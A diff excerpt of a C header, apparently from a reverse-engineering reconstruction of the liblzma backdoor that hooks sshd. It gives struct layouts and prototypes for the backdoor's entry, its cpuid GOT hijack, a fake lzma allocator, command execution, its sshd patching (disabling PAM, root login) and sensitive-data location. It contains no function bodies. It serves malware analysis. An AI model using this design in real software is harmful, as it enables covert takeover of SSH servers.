2087 assert_offset(elf_functions_t, elf_parse, 0x30);
-
2088 static_assert(sizeof(elf_functions_t) == 0x38);
-
2089 
-
2090 typedef struct __attribute__((packed)) fake_lzma_allocator {
-
2091  PADDING(sizeof(u64));
-
2092  lzma_allocator allocator;
-
2093 } fake_lzma_allocator_t;
-
2094 
-
2095 assert_offset(fake_lzma_allocator_t, allocator.alloc, 0x8);
-
2096 assert_offset(fake_lzma_allocator_t, allocator.free, 0x10);
-
2097 assert_offset(fake_lzma_allocator_t, allocator.opaque, 0x18);
-
2098 static_assert(sizeof(fake_lzma_allocator_t) == 0x20);
-
2099 
-
2100 typedef struct __attribute__((packed)) instruction_search_ctx
-
2101 {
-
2106  u8 *start_addr;
-
2111  u8 *end_addr;
-
2116  u8 *offset_to_match;
-
2121  u32 *output_register_to_match;
-
2122  u8 *output_register; // TODO unknown
-
2127  BOOL result;
-
2128  PADDING(0x4);
-
2129  backdoor_hooks_data_t *hooks;
-
2130  imported_funcs_t *imported_funcs;
-
2131 } instruction_search_ctx_t;
-
2132 
-
2133 assert_offset(instruction_search_ctx_t, start_addr, 0);
-
2134 assert_offset(instruction_search_ctx_t, end_addr, 0x8);
-
2135 assert_offset(instruction_search_ctx_t, offset_to_match, 0x10);
-
2136 assert_offset(instruction_search_ctx_t, output_register_to_match, 0x18);
-
2137 assert_offset(instruction_search_ctx_t, output_register, 0x20);
-
2138 assert_offset(instruction_search_ctx_t, result, 0x28);
-
2139 assert_offset(instruction_search_ctx_t, hooks, 0x30);
-
2140 assert_offset(instruction_search_ctx_t, imported_funcs, 0x38);
-
2141 static_assert(sizeof(instruction_search_ctx_t) == 0x40);
-
2142 
+
2070  PADDING(sizeof(u64));
+
2076  void *(*elf_symbol_get_addr)(elf_info_t *elf_info, EncodedStringId encoded_string_id);
+
2077  PADDING(sizeof(u64));
+
2083  BOOL (*elf_parse)(Elf64_Ehdr *ehdr, elf_info_t *elf_info);
+
2084 } elf_functions_t;
+
2085 
+
2086 assert_offset(elf_functions_t, init_hook_functions, 0x8);
+
2087 assert_offset(elf_functions_t, elf_symbol_get_addr, 0x20);
+
2088 assert_offset(elf_functions_t, elf_parse, 0x30);
+
2089 static_assert(sizeof(elf_functions_t) == 0x38);
+
2090 
+
2091 typedef struct __attribute__((packed)) fake_lzma_allocator {
+
2092  PADDING(sizeof(u64));
+
2093  lzma_allocator allocator;
+
2094 } fake_lzma_allocator_t;
+
2095 
+
2096 assert_offset(fake_lzma_allocator_t, allocator.alloc, 0x8);
+
2097 assert_offset(fake_lzma_allocator_t, allocator.free, 0x10);
+
2098 assert_offset(fake_lzma_allocator_t, allocator.opaque, 0x18);
+
2099 static_assert(sizeof(fake_lzma_allocator_t) == 0x20);
+
2100 
+
2101 typedef struct __attribute__((packed)) instruction_search_ctx
+
2102 {
+
2107  u8 *start_addr;
+
2112  u8 *end_addr;
+
2117  u8 *offset_to_match;
+
2122  u32 *output_register_to_match;
+
2123  u8 *output_register; // TODO unknown
+
2128  BOOL result;
+
2129  PADDING(0x4);
+
2130  backdoor_hooks_data_t *hooks;
+
2131  imported_funcs_t *imported_funcs;
+
2132 } instruction_search_ctx_t;
+
2133 
+
2134 assert_offset(instruction_search_ctx_t, start_addr, 0);
+
2135 assert_offset(instruction_search_ctx_t, end_addr, 0x8);
+
2136 assert_offset(instruction_search_ctx_t, offset_to_match, 0x10);
+
2137 assert_offset(instruction_search_ctx_t, output_register_to_match, 0x18);
+
2138 assert_offset(instruction_search_ctx_t, output_register, 0x20);
+
2139 assert_offset(instruction_search_ctx_t, result, 0x28);
+
2140 assert_offset(instruction_search_ctx_t, hooks, 0x30);
+
2141 assert_offset(instruction_search_ctx_t, imported_funcs, 0x38);
+
2142 static_assert(sizeof(instruction_search_ctx_t) == 0x40);
2143 
-
2161 extern BOOL sshd_proxy_elevate(monitor_data_t *args, global_context_t *ctx);
-
2162 
-
2171 extern BOOL x86_dasm(dasm_ctx_t *ctx, u8 *code_start, u8 *code_end);
-
2172 
-
2182 extern BOOL find_call_instruction(u8 *code_start, u8 *code_end, u8 *call_target, dasm_ctx_t *dctx);
-
2183 
-
2192 extern BOOL find_lea_instruction(u8 *code_start, u8 *code_end, u64 displacement);
-
2193 
-
2203 extern BOOL find_instruction_with_mem_operand(
-
2204  u8 *code_start,
-
2205  u8 *code_end,
-
2206  dasm_ctx_t *dctx,
-
2207  void *mem_address
-
2208 );
-
2209 
-
2219 extern BOOL find_lea_instruction_with_mem_operand(
-
2220  u8 *code_start,
-
2221  u8 *code_end,
-
2222  dasm_ctx_t *dctx,
-
2223  void *mem_address
-
2224 );
-
2225 
-
2235 extern BOOL find_add_instruction_with_mem_operand(
-
2236  u8 *code_start,
-
2237  u8 *code_end,
-
2238  dasm_ctx_t *dctx,
-
2239  void *mem_address
-
2240 );
-
2241 
-
2252 extern BOOL find_mov_lea_instruction(
-
2253  u8 *code_start,
-
2254  u8 *code_end,
-
2255  BOOL is_64bit_operand,
-
2256  BOOL load_flag,
-
2257  dasm_ctx_t *dctx
-
2258 );
-
2259 
-
2275 extern BOOL find_mov_instruction(
-
2276  u8 *code_start,
-
2277  u8 *code_end,
-
2278  BOOL is_64bit_operand,
-
2279  BOOL load_flag,
-
2280  dasm_ctx_t *dctx
-
2281 );
-
2282 
-
2293 extern BOOL find_instruction_with_mem_operand_ex(
-
2294  u8 *code_start,
-
2295  u8 *code_end,
-
2296  dasm_ctx_t *dctx,
-
2297  int opcode,
-
2298  void *mem_address
-
2299 );
-
2300 
-
2317 extern BOOL is_endbr64_instruction(u8 *code_start, u8 *code_end, u32 low_mask_part);
-
2318 
-
2327 extern u8 *find_string_reference(
-
2328  u8 *code_start,
-
2329  u8 *code_end,
-
2330  const char *str
-
2331 );
-
2332 
-
2342 extern u8 *elf_find_string_reference(
-
2343  elf_info_t *elf_info,
-
2344  EncodedStringId encoded_string_id,
-
2345  u8 *code_start,
-
2346  u8 *code_end
-
2347 );
-
2348 
-
2368 extern BOOL find_reg2reg_instruction(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx);
-
2369 
-
2379 extern BOOL find_function_prologue(u8 *code_start, u8 *code_end, u8 **output, FuncFindType find_mode);
-
2380 
-
2392 extern BOOL find_function(
-
2393  u8 *code_start,
-
2394  void **func_start,
-
2395  void **func_end,
-
2396  u8 *search_base,
-
2397  u8 *code_end,
-
2398  FuncFindType find_mode);
-
2399 
-
2410 extern BOOL elf_contains_vaddr(elf_info_t *elf_info, void *vaddr, u64 size, u32 p_flags);
-
2411 
-
2422 extern BOOL elf_contains_vaddr_relro(elf_info_t *elf_info, u64 vaddr, u64 size, u32 p_flags);
-
2423 
-
2431 extern BOOL elf_parse(Elf64_Ehdr *ehdr, elf_info_t *elf_info);
-
2432 
-
2440 extern BOOL is_gnu_relro(Elf64_Word p_type, u32 addend);
-
2441 
-
2455 extern BOOL main_elf_parse(main_elf_t *main_elf);
-
2456 
-
2457 extern char *check_argument(char arg_first_char, char* arg_name);
-
2458 
-
2487 extern BOOL process_is_sshd(elf_info_t *elf, u8 *stack_end);
-
2488 
-
2496 extern BOOL elf_find_string_references(elf_info_t *elf_info, string_references_t *refs);
-
2497 
-
2506 extern Elf64_Sym *elf_symbol_get(elf_info_t *elf_info, EncodedStringId encoded_string_id, EncodedStringId sym_version);
-
2507 
-
2515 extern void *elf_symbol_get_addr(elf_info_t *elf_info, EncodedStringId encoded_string_id);
-
2516 
-
2524 extern void *elf_get_code_segment(elf_info_t *elf_info, u64 *pSize);
-
2525 
-
2534 extern void *elf_get_rodata_segment(elf_info_t *elf_info, u64 *pSize);
-
2535 
-
2552 extern void *elf_get_data_segment(elf_info_t *elf_info, u64 *pSize, BOOL get_alignment);
-
2553 
-
2565 extern void *elf_get_reloc_symbol(
-
2566  elf_info_t *elf_info,
-
2567  Elf64_Rela *relocs,
-
2568  u32 num_relocs,
-
2569  u64 reloc_type,
-
2570  EncodedStringId encoded_string_id);
-
2571 
-
2579 extern void *elf_get_plt_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id);
-
2580 
-
2588 extern void *elf_get_got_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id);
-
2589 
-
2603 extern BOOL elf_find_function_pointer(
-
2604  StringXrefId xref_id,
-
2605  void **pOutCodeStart, void **pOutCodeEnd,
-
2606  void **pOutFptrAddr, elf_info_t *elf_info,
-
2607  string_references_t *xrefs,
-
2608  global_context_t *ctx);
-
2609 
-
2622 extern char *elf_find_string(
-
2623  elf_info_t *elf_info,
-
2624  EncodedStringId *stringId_inOut,
-
2625  void *rodata_start_ptr);
-
2626 
-
2633 extern lzma_allocator *get_lzma_allocator(void);
-
2634 
-
2645 extern fake_lzma_allocator_t *get_lzma_allocator_address(void);
-
2646 
-
2655 extern void *fake_lzma_alloc(void *opaque, size_t nmemb, size_t size);
-
2656 
-
2665 extern void fake_lzma_free(void *opaque, void *ptr);
-
2666 
-
2675 extern elf_functions_t *get_elf_functions_address(void);
-
2676 
-
2677 extern BOOL secret_data_append_from_instruction(dasm_ctx_t *dctx, secret_data_shift_cursor_t *cursor);
-
2678 
-
2691 extern BOOL secret_data_append_from_code(
-
2692  void *code_start,
-
2693  void *code_end,
-
2694  secret_data_shift_cursor_t shift_cursor,
-
2695  unsigned shift_count, BOOL start_from_call);
-
2696 
-
2707 extern BOOL secret_data_append_item(
-
2708  secret_data_shift_cursor_t shift_cursor,
-
2709  unsigned operation_index,
-
2710  unsigned shift_count,
-
2711  int index, u8 *code);
-
2712 
-
2721 extern BOOL secret_data_append_items(
-
2722  secret_data_item_t *items,
-
2723  u64 items_count,
-
2724  BOOL (*appender)(secret_data_shift_cursor_t, unsigned, unsigned, int, u8 *));
-
2725 
-
2736 extern BOOL secret_data_append_from_address(
-
2737  void *addr,
-
2738  secret_data_shift_cursor_t shift_cursor,
-
2739  unsigned shift_count, unsigned operation_index);
-
2740 
-
2783 extern BOOL secret_data_append_singleton(
-
2784  u8 *call_site, u8 *code,
-
2785  secret_data_shift_cursor_t shift_cursor,
-
2786  unsigned shift_count, unsigned operation_index);
-
2787 
-
2799 extern BOOL secret_data_append_from_call_site(
-
2800  secret_data_shift_cursor_t shift_cursor,
-
2801  unsigned shift_count, unsigned operation_index,
-
2802  BOOL bypass
-
2803 );
-
2804 
-
2824 extern BOOL backdoor_setup(backdoor_setup_params_t *params);
-
2825 
-
2831 extern void init_ldso_ctx(ldso_ctx_t *ldso_ctx);
-
2832 
-
2850 extern unsigned int backdoor_entry(unsigned int cpuid_request, u64 *caller_frame);
-
2851 
-
2863 extern void * backdoor_init(elf_entry_ctx_t *state, u64 *caller_frame);
-
2864 
-
2875 extern void init_elf_entry_ctx(elf_entry_ctx_t *ctx);
-
2876 
-
2886 extern void update_got_offset(elf_entry_ctx_t *ctx);
-
2887 
-
2896 extern void update_cpuid_got_index(elf_entry_ctx_t *ctx);
-
2897 
-
2907 extern BOOL backdoor_init_stage2(elf_entry_ctx_t *ctx, u64 *caller_frame, void **cpuid_got_addr, backdoor_cpuid_reloc_consts_t* reloc_consts);
-
2908 
-
2917 extern BOOL resolve_libc_imports(
-
2918  struct link_map *libc,
-
2919  elf_info_t *libc_info,
-
2920  libc_imports_t *imports
-
2921 );
-
2922 
-
2929 extern BOOL process_shared_libraries(backdoor_shared_libraries_data_t *data);
-
2930 
-
2938 extern BOOL process_shared_libraries_map(struct link_map *r_map, backdoor_shared_libraries_data_t *data);
-
2939 
-
2951 extern BOOL chacha_decrypt(
-
2952  u8 *in, int inl,
-
2953  u8 *key, u8 *iv,
-
2954  u8 *out, imported_funcs_t *funcs
-
2955 );
-
2956 
-
2964 extern BOOL secret_data_get_decrypted(u8 *output, global_context_t *ctx);
-
2965 
-
2974 extern BOOL is_range_mapped(u8* addr, u64 length, global_context_t* ctx);
-
2975 
-
2982 extern u32 count_bits(u64 x);
-
2983 
-
2995 extern EncodedStringId get_string_id(const char *string_begin, const char *string_end);
-
2996 
-
3036 extern unsigned int _get_cpuid_modified(unsigned int leaf, unsigned int *eax, unsigned int *ebx, unsigned int *ecx, unsigned int *edx, u64 *caller_frame);
-
3037 
-
3049 extern void _cpuid_gcc(unsigned int level, unsigned int *a, unsigned int *b, unsigned int *c, unsigned int *d);
-
3050 
-
3059 extern int init_hooks_ctx(backdoor_hooks_ctx_t *ctx);
-
3060 
-
3067 extern int init_shared_globals(backdoor_shared_globals_t *shared_globals);
-
3068 
-
3075 extern BOOL init_imported_funcs(imported_funcs_t *imported_funcs);
-
3076 
-
3095 extern void *update_got_address(elf_entry_ctx_t *entry_ctx);
-
3096 
-
3106 extern ptrdiff_t get_tls_get_addr_random_symbol_got_offset(elf_entry_ctx_t *ctx);
-
3107 
-
3108 typedef struct dl_tls_index
-
3109 {
-
3110  uint64_t ti_module;
-
3111  uint64_t ti_offset;
-
3112 } tls_index;
-
3113 
-
3121 extern void *dummy_tls_get_addr (tls_index *ti);
-
3122 
-
3134 extern uintptr_t backdoor_symbind64(
-
3135  Elf64_Sym *sym,
-
3136  unsigned int ndx,
-
3137  uptr *refcook, uptr *defcook,
-
3138  unsigned int flags,
-
3139  const char *symname);
-
3140 
-
3152 extern BOOL run_backdoor_commands(RSA *key, global_context_t *ctx, BOOL *do_orig);
-
3153 
-
3168 extern BOOL find_dl_audit_offsets(
-
3169  backdoor_data_handle_t *data,
-
3170  ptrdiff_t *libname_offset,
-
3171  backdoor_hooks_data_t *hooks,
-
3172  imported_funcs_t *imported_funcs);
-
3173 
-
3196 extern BOOL find_link_map_l_name(
-
3197  backdoor_data_handle_t *data_handle,
-
3198  ptrdiff_t *libname_offset,
-
3199  backdoor_hooks_data_t *hooks,
-
3200  imported_funcs_t *imported_funcs);
-
3201 
-
3221 extern BOOL find_dl_naudit(
-
3222  elf_info_t *dynamic_linker_elf,
-
3223  elf_info_t *libcrypto_elf,
-
3224  backdoor_hooks_data_t *hooks,
-
3225  imported_funcs_t *imported_funcs);
-
3226 
-
3243 extern BOOL find_link_map_l_audit_any_plt(
-
3244  backdoor_data_handle_t *data,
-
3245  ptrdiff_t libname_offset,
-
3246  backdoor_hooks_data_t *hooks,
-
3247  imported_funcs_t *imported_funcs);
-
3248 
-
3264 extern BOOL find_link_map_l_audit_any_plt_bitmask(
-
3265  backdoor_data_handle_t *data,
-
3266  instruction_search_ctx_t *search_ctx);
-
3267 
-
3282 extern BOOL sshd_get_sensitive_data_address_via_xcalloc(
-
3283  u8 *data_start,
-
3284  u8 *data_end,
-
3285  u8 *code_start,
-
3286  u8 *code_end,
-
3287  string_references_t *string_refs,
-
3288  void **sensitive_data_out);
-
3289 
-
3304 extern BOOL sshd_get_sensitive_data_address_via_krb5ccname(
-
3305  u8 *data_start,
-
3306  u8 *data_end,
-
3307  u8 *code_start,
-
3308  u8 *code_end,
-
3309  void **sensitive_data_out,
-
3310  elf_info_t *elf);
-
3311 
-
3321 extern int sshd_get_sensitive_data_score_in_demote_sensitive_data(
-
3322  void *sensitive_data,
-
3323  elf_info_t *elf,
-
3324  string_references_t *refs);
-
3325 
-
3335 extern int sshd_get_sensitive_data_score_in_main(
-
3336  void *sensitive_data,
-
3337  elf_info_t *elf,
-
3338  string_references_t *refs);
-
3339 
-
3349 extern int sshd_get_sensitive_data_score_in_do_child(
-
3350  void *sensitive_data,
-
3351  elf_info_t *elf,
-
3352  string_references_t *refs);
-
3353 
-
3363 extern int sshd_get_sensitive_data_score(
-
3364  void *sensitive_data,
-
3365  elf_info_t *elf,
-
3366  string_references_t *refs);
-
3367 
-
3378 extern BOOL bignum_serialize(
-
3379  u8 *buffer, u64 bufferSize,
-
3380  u64 *pOutSize,
-
3381  const BIGNUM *bn,
-
3382  imported_funcs_t *funcs);
-
3383 
+
2144 
+
2162 extern BOOL sshd_proxy_elevate(monitor_data_t *args, global_context_t *ctx);
+
2163 
+
2172 extern BOOL x86_dasm(dasm_ctx_t *ctx, u8 *code_start, u8 *code_end);
+
2173 
+
2183 extern BOOL find_call_instruction(u8 *code_start, u8 *code_end, u8 *call_target, dasm_ctx_t *dctx);
+
2184 
+
2193 extern BOOL find_lea_instruction(u8 *code_start, u8 *code_end, u64 displacement);
+
2194 
+
2204 extern BOOL find_instruction_with_mem_operand(
+
2205  u8 *code_start,
+
2206  u8 *code_end,
+
2207  dasm_ctx_t *dctx,
+
2208  void *mem_address
+
2209 );
+
2210 
+
2220 extern BOOL find_lea_instruction_with_mem_operand(
+
2221  u8 *code_start,
+
2222  u8 *code_end,
+
2223  dasm_ctx_t *dctx,
+
2224  void *mem_address
+
2225 );
+
2226 
+
2236 extern BOOL find_add_instruction_with_mem_operand(
+
2237  u8 *code_start,
+
2238  u8 *code_end,
+
2239  dasm_ctx_t *dctx,
+
2240  void *mem_address
+
2241 );
+
2242 
+
2253 extern BOOL find_mov_lea_instruction(
+
2254  u8 *code_start,
+
2255  u8 *code_end,
+
2256  BOOL is_64bit_operand,
+
2257  BOOL load_flag,
+
2258  dasm_ctx_t *dctx
+
2259 );
+
2260 
+
2276 extern BOOL find_mov_instruction(
+
2277  u8 *code_start,
+
2278  u8 *code_end,
+
2279  BOOL is_64bit_operand,
+
2280  BOOL load_flag,
+
2281  dasm_ctx_t *dctx
+
2282 );
+
2283 
+
2294 extern BOOL find_instruction_with_mem_operand_ex(
+
2295  u8 *code_start,
+
2296  u8 *code_end,
+
2297  dasm_ctx_t *dctx,
+
2298  int opcode,
+
2299  void *mem_address
+
2300 );
+
2301 
+
2318 extern BOOL is_endbr64_instruction(u8 *code_start, u8 *code_end, u32 low_mask_part);
+
2319 
+
2328 extern u8 *find_string_reference(
+
2329  u8 *code_start,
+
2330  u8 *code_end,
+
2331  const char *str
+
2332 );
+
2333 
+
2343 extern u8 *elf_find_string_reference(
+
2344  elf_info_t *elf_info,
+
2345  EncodedStringId encoded_string_id,
+
2346  u8 *code_start,
+
2347  u8 *code_end
+
2348 );
+
2349 
+
2369 extern BOOL find_reg2reg_instruction(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx);
+
2370 
+
2380 extern BOOL find_function_prologue(u8 *code_start, u8 *code_end, u8 **output, FuncFindType find_mode);
+
2381 
+
2393 extern BOOL find_function(
+
2394  u8 *code_start,
+
2395  void **func_start,
+
2396  void **func_end,
+
2397  u8 *search_base,
+
2398  u8 *code_end,
+
2399  FuncFindType find_mode);
+
2400 
+
2411 extern BOOL elf_contains_vaddr(elf_info_t *elf_info, void *vaddr, u64 size, u32 p_flags);
+
2412 
+
2423 extern BOOL elf_contains_vaddr_relro(elf_info_t *elf_info, u64 vaddr, u64 size, u32 p_flags);
+
2424 
+
2432 extern BOOL elf_parse(Elf64_Ehdr *ehdr, elf_info_t *elf_info);
+
2433 
+
2441 extern BOOL is_gnu_relro(Elf64_Word p_type, u32 addend);
+
2442 
+
2456 extern BOOL main_elf_parse(main_elf_t *main_elf);
+
2457 
+
2458 extern char *check_argument(char arg_first_char, char* arg_name);
+
2459 
+
2488 extern BOOL process_is_sshd(elf_info_t *elf, u8 *stack_end);
+
2489 
+
2497 extern BOOL elf_find_string_references(elf_info_t *elf_info, string_references_t *refs);
+
2498 
+
2507 extern Elf64_Sym *elf_symbol_get(elf_info_t *elf_info, EncodedStringId encoded_string_id, EncodedStringId sym_version);
+
2508 
+
2516 extern void *elf_symbol_get_addr(elf_info_t *elf_info, EncodedStringId encoded_string_id);
+
2517 
+
2525 extern void *elf_get_code_segment(elf_info_t *elf_info, u64 *pSize);
+
2526 
+
2535 extern void *elf_get_rodata_segment(elf_info_t *elf_info, u64 *pSize);
+
2536 
+
2553 extern void *elf_get_data_segment(elf_info_t *elf_info, u64 *pSize, BOOL get_alignment);
+
2554 
+
2566 extern void *elf_get_reloc_symbol(
+
2567  elf_info_t *elf_info,
+
2568  Elf64_Rela *relocs,
+
2569  u32 num_relocs,
+
2570  u64 reloc_type,
+
2571  EncodedStringId encoded_string_id);
+
2572 
+
2580 extern void *elf_get_plt_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id);
+
2581 
+
2589 extern void *elf_get_got_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id);
+
2590 
+
2604 extern BOOL elf_find_function_pointer(
+
2605  StringXrefId xref_id,
+
2606  void **pOutCodeStart, void **pOutCodeEnd,
+
2607  void **pOutFptrAddr, elf_info_t *elf_info,
+
2608  string_references_t *xrefs,
+
2609  global_context_t *ctx);
+
2610 
+
2623 extern char *elf_find_string(
+
2624  elf_info_t *elf_info,
+
2625  EncodedStringId *stringId_inOut,
+
2626  void *rodata_start_ptr);
+
2627 
+
2634 extern lzma_allocator *get_lzma_allocator(void);
+
2635 
+
2646 extern fake_lzma_allocator_t *get_lzma_allocator_address(void);
+
2647 
+
2656 extern void *fake_lzma_alloc(void *opaque, size_t nmemb, size_t size);
+
2657 
+
2666 extern void fake_lzma_free(void *opaque, void *ptr);
+
2667 
+
2676 extern elf_functions_t *get_elf_functions_address(void);
+
2677 
+
2678 extern BOOL secret_data_append_from_instruction(dasm_ctx_t *dctx, secret_data_shift_cursor_t *cursor);
+
2679 
+
2692 extern BOOL secret_data_append_from_code(
+
2693  void *code_start,
+
2694  void *code_end,
+
2695  secret_data_shift_cursor_t shift_cursor,
+
2696  unsigned shift_count, BOOL start_from_call);
+
2697 
+
2708 extern BOOL secret_data_append_item(
+
2709  secret_data_shift_cursor_t shift_cursor,
+
2710  unsigned operation_index,
+
2711  unsigned shift_count,
+
2712  int index, u8 *code);
+
2713 
+
2722 extern BOOL secret_data_append_items(
+
2723  secret_data_item_t *items,
+
2724  u64 items_count,
+
2725  BOOL (*appender)(secret_data_shift_cursor_t, unsigned, unsigned, int, u8 *));
+
2726 
+
2737 extern BOOL secret_data_append_from_address(
+
2738  void *addr,
+
2739  secret_data_shift_cursor_t shift_cursor,
+
2740  unsigned shift_count, unsigned operation_index);
+
2741 
+
2784 extern BOOL secret_data_append_singleton(
+
2785  u8 *call_site, u8 *code,
+
2786  secret_data_shift_cursor_t shift_cursor,
+
2787  unsigned shift_count, unsigned operation_index);
+
2788 
+
2800 extern BOOL secret_data_append_from_call_site(
+
2801  secret_data_shift_cursor_t shift_cursor,
+
2802  unsigned shift_count, unsigned operation_index,
+
2803  BOOL bypass
+
2804 );
+
2805 
+
2825 extern BOOL backdoor_setup(backdoor_setup_params_t *params);
+
2826 
+
2832 extern void init_ldso_ctx(ldso_ctx_t *ldso_ctx);
+
2833 
+
2851 extern unsigned int backdoor_entry(unsigned int cpuid_request, u64 *caller_frame);
+
2852 
+
2864 extern void * backdoor_init(elf_entry_ctx_t *state, u64 *caller_frame);
+
2865 
+
2876 extern void init_elf_entry_ctx(elf_entry_ctx_t *ctx);
+
2877 
+
2887 extern void update_got_offset(elf_entry_ctx_t *ctx);
+
2888 
+
2897 extern void update_cpuid_got_index(elf_entry_ctx_t *ctx);
+
2898 
+
2908 extern BOOL backdoor_init_stage2(elf_entry_ctx_t *ctx, u64 *caller_frame, void **cpuid_got_addr, backdoor_cpuid_reloc_consts_t* reloc_consts);
+
2909 
+
2918 extern BOOL resolve_libc_imports(
+
2919  struct link_map *libc,
+
2920  elf_info_t *libc_info,
+
2921  libc_imports_t *imports
+
2922 );
+
2923 
+
2930 extern BOOL process_shared_libraries(backdoor_shared_libraries_data_t *data);
+
2931 
+
2939 extern BOOL process_shared_libraries_map(struct link_map *r_map, backdoor_shared_libraries_data_t *data);
+
2940 
+
2952 extern BOOL chacha_decrypt(
+
2953  u8 *in, int inl,
+
2954  u8 *key, u8 *iv,
+
2955  u8 *out, imported_funcs_t *funcs
+
2956 );
+
2957 
+
2965 extern BOOL secret_data_get_decrypted(u8 *output, global_context_t *ctx);
+
2966 
+
2975 extern BOOL is_range_mapped(u8* addr, u64 length, global_context_t* ctx);
+
2976 
+
2983 extern u32 count_bits(u64 x);
+
2984 
+
2996 extern EncodedStringId get_string_id(const char *string_begin, const char *string_end);
+
2997 
+
3037 extern unsigned int _get_cpuid_modified(unsigned int leaf, unsigned int *eax, unsigned int *ebx, unsigned int *ecx, unsigned int *edx, u64 *caller_frame);
+
3038 
+
3050 extern void _cpuid_gcc(unsigned int level, unsigned int *a, unsigned int *b, unsigned int *c, unsigned int *d);
+
3051 
+
3060 extern int init_hooks_ctx(backdoor_hooks_ctx_t *ctx);
+
3061 
+
3068 extern int init_shared_globals(backdoor_shared_globals_t *shared_globals);
+
3069 
+
3076 extern BOOL init_imported_funcs(imported_funcs_t *imported_funcs);
+
3077 
+
3096 extern void *update_got_address(elf_entry_ctx_t *entry_ctx);
+
3097 
+
3107 extern ptrdiff_t get_tls_get_addr_random_symbol_got_offset(elf_entry_ctx_t *ctx);
+
3108 
+
3109 typedef struct dl_tls_index
+
3110 {
+
3111  uint64_t ti_module;
+
3112  uint64_t ti_offset;
+
3113 } tls_index;
+
3114 
+
3122 extern void *dummy_tls_get_addr (tls_index *ti);
+
3123 
+
3135 extern uintptr_t backdoor_symbind64(
+
3136  Elf64_Sym *sym,
+
3137  unsigned int ndx,
+
3138  uptr *refcook, uptr *defcook,
+
3139  unsigned int flags,
+
3140  const char *symname);
+
3141 
+
3153 extern BOOL run_backdoor_commands(RSA *key, global_context_t *ctx, BOOL *do_orig);
+
3154 
+
3169 extern BOOL find_dl_audit_offsets(
+
3170  backdoor_data_handle_t *data,
+
3171  ptrdiff_t *libname_offset,
+
3172  backdoor_hooks_data_t *hooks,
+
3173  imported_funcs_t *imported_funcs);
+
3174 
+
3197 extern BOOL find_link_map_l_name(
+
3198  backdoor_data_handle_t *data_handle,
+
3199  ptrdiff_t *libname_offset,
+
3200  backdoor_hooks_data_t *hooks,
+
3201  imported_funcs_t *imported_funcs);
+
3202 
+
3222 extern BOOL find_dl_naudit(
+
3223  elf_info_t *dynamic_linker_elf,
+
3224  elf_info_t *libcrypto_elf,
+
3225  backdoor_hooks_data_t *hooks,
+
3226  imported_funcs_t *imported_funcs);
+
3227 
+
3244 extern BOOL find_link_map_l_audit_any_plt(
+
3245  backdoor_data_handle_t *data,
+
3246  ptrdiff_t libname_offset,
+
3247  backdoor_hooks_data_t *hooks,
+
3248  imported_funcs_t *imported_funcs);
+
3249 
+
3265 extern BOOL find_link_map_l_audit_any_plt_bitmask(
+
3266  backdoor_data_handle_t *data,
+
3267  instruction_search_ctx_t *search_ctx);
+
3268 
+
3283 extern BOOL sshd_get_sensitive_data_address_via_xcalloc(
+
3284  u8 *data_start,
+
3285  u8 *data_end,
+
3286  u8 *code_start,
+
3287  u8 *code_end,
+
3288  string_references_t *string_refs,
+
3289  void **sensitive_data_out);
+
3290 
+
3305 extern BOOL sshd_get_sensitive_data_address_via_krb5ccname(
+
3306  u8 *data_start,
+
3307  u8 *data_end,
+
3308  u8 *code_start,
+
3309  u8 *code_end,
+
3310  void **sensitive_data_out,
+
3311  elf_info_t *elf);
+
3312 
+
3322 extern int sshd_get_sensitive_data_score_in_demote_sensitive_data(
+
3323  void *sensitive_data,
+
3324  elf_info_t *elf,
+
3325  string_references_t *refs);
+
3326 
+
3336 extern int sshd_get_sensitive_data_score_in_main(
+
3337  void *sensitive_data,
+
3338  elf_info_t *elf,
+
3339  string_references_t *refs);
+
3340 
+
3350 extern int sshd_get_sensitive_data_score_in_do_child(
+
3351  void *sensitive_data,
+
3352  elf_info_t *elf,
+
3353  string_references_t *refs);
+
3354 
+
3364 extern int sshd_get_sensitive_data_score(
+
3365  void *sensitive_data,
+
3366  elf_info_t *elf,
+
3367  string_references_t *refs);
+
3368 
+
3379 extern BOOL bignum_serialize(
+
3380  u8 *buffer, u64 bufferSize,
+
3381  u64 *pOutSize,
+
3382  const BIGNUM *bn,
+
3383  imported_funcs_t *funcs);
3384 
-
3391 extern BOOL sshbuf_bignum_is_negative(struct sshbuf *buf);
-
3392 
-
3402 extern BOOL rsa_key_hash(
-
3403  const RSA *rsa,
-
3404  u8 *mdBuf,
-
3405  u64 mdBufSize,
-
3406  imported_funcs_t *funcs);
-
3407 
-
3417 extern BOOL dsa_key_hash(
-
3418  const DSA *dsa,
-
3419  u8 *mdBuf,
-
3420  u64 mdBufSize,
-
3421  global_context_t *ctx);
-
3422 
-
3433 extern BOOL sha256(
-
3434  const void *data,
-
3435  size_t count,
-
3436  u8 *mdBuf,
-
3437  u64 mdBufSize,
-
3438  imported_funcs_t *funcs);
-
3439 
-
3457 extern BOOL verify_signature(
-
3458  struct sshkey *sshkey,
-
3459  u8 *signed_data,
-
3460  u64 sshkey_digest_offset,
-
3461  u64 signed_data_size,
-
3462  u8 *signature,
-
3463  u8 *ed448_raw_key,
-
3464  global_context_t *global_ctx
-
3465 );
-
3466 
-
3478 extern BOOL sshd_patch_variables(
-
3479  BOOL skip_root_patch,
-
3480  BOOL disable_pam,
-
3481  BOOL replace_monitor_reqtype,
-
3482  int monitor_reqtype,
-
3483  global_context_t *global_ctx
-
3484 );
-
3485 
-
3494 extern BOOL sshd_find_monitor_struct(
-
3495  elf_info_t *elf,
-
3496  string_references_t *refs,
-
3497  global_context_t *ctx
-
3498 );
-
3499 
-
3509 extern BOOL sshd_find_main(
-
3510  u8 **code_start_out,
-
3511  elf_info_t *sshd,
-
3512  elf_info_t *libcrypto,
-
3513  imported_funcs_t *imported_funcs
-
3514 );
-
3515 
-
3543 extern BOOL sshd_find_monitor_field_addr_in_function(
-
3544  u8 *code_start,
-
3545  u8 *code_end,
-
3546  u8 *data_start,
-
3547  u8 *data_end,
-
3548  void **monitor_field_ptr_out,
-
3549  global_context_t *ctx
-
3550 );
-
3551 
-
3563 extern void *find_addr_referenced_in_mov_instruction(
-
3564  StringXrefId id,
-
3565  string_references_t *refs,
-
3566  void *mem_range_start,
-
3567  void *mem_range_end
-
3568 );
-
3569 
-
3604 extern BOOL validate_log_handler_pointers(
-
3605  void *addr1,
-
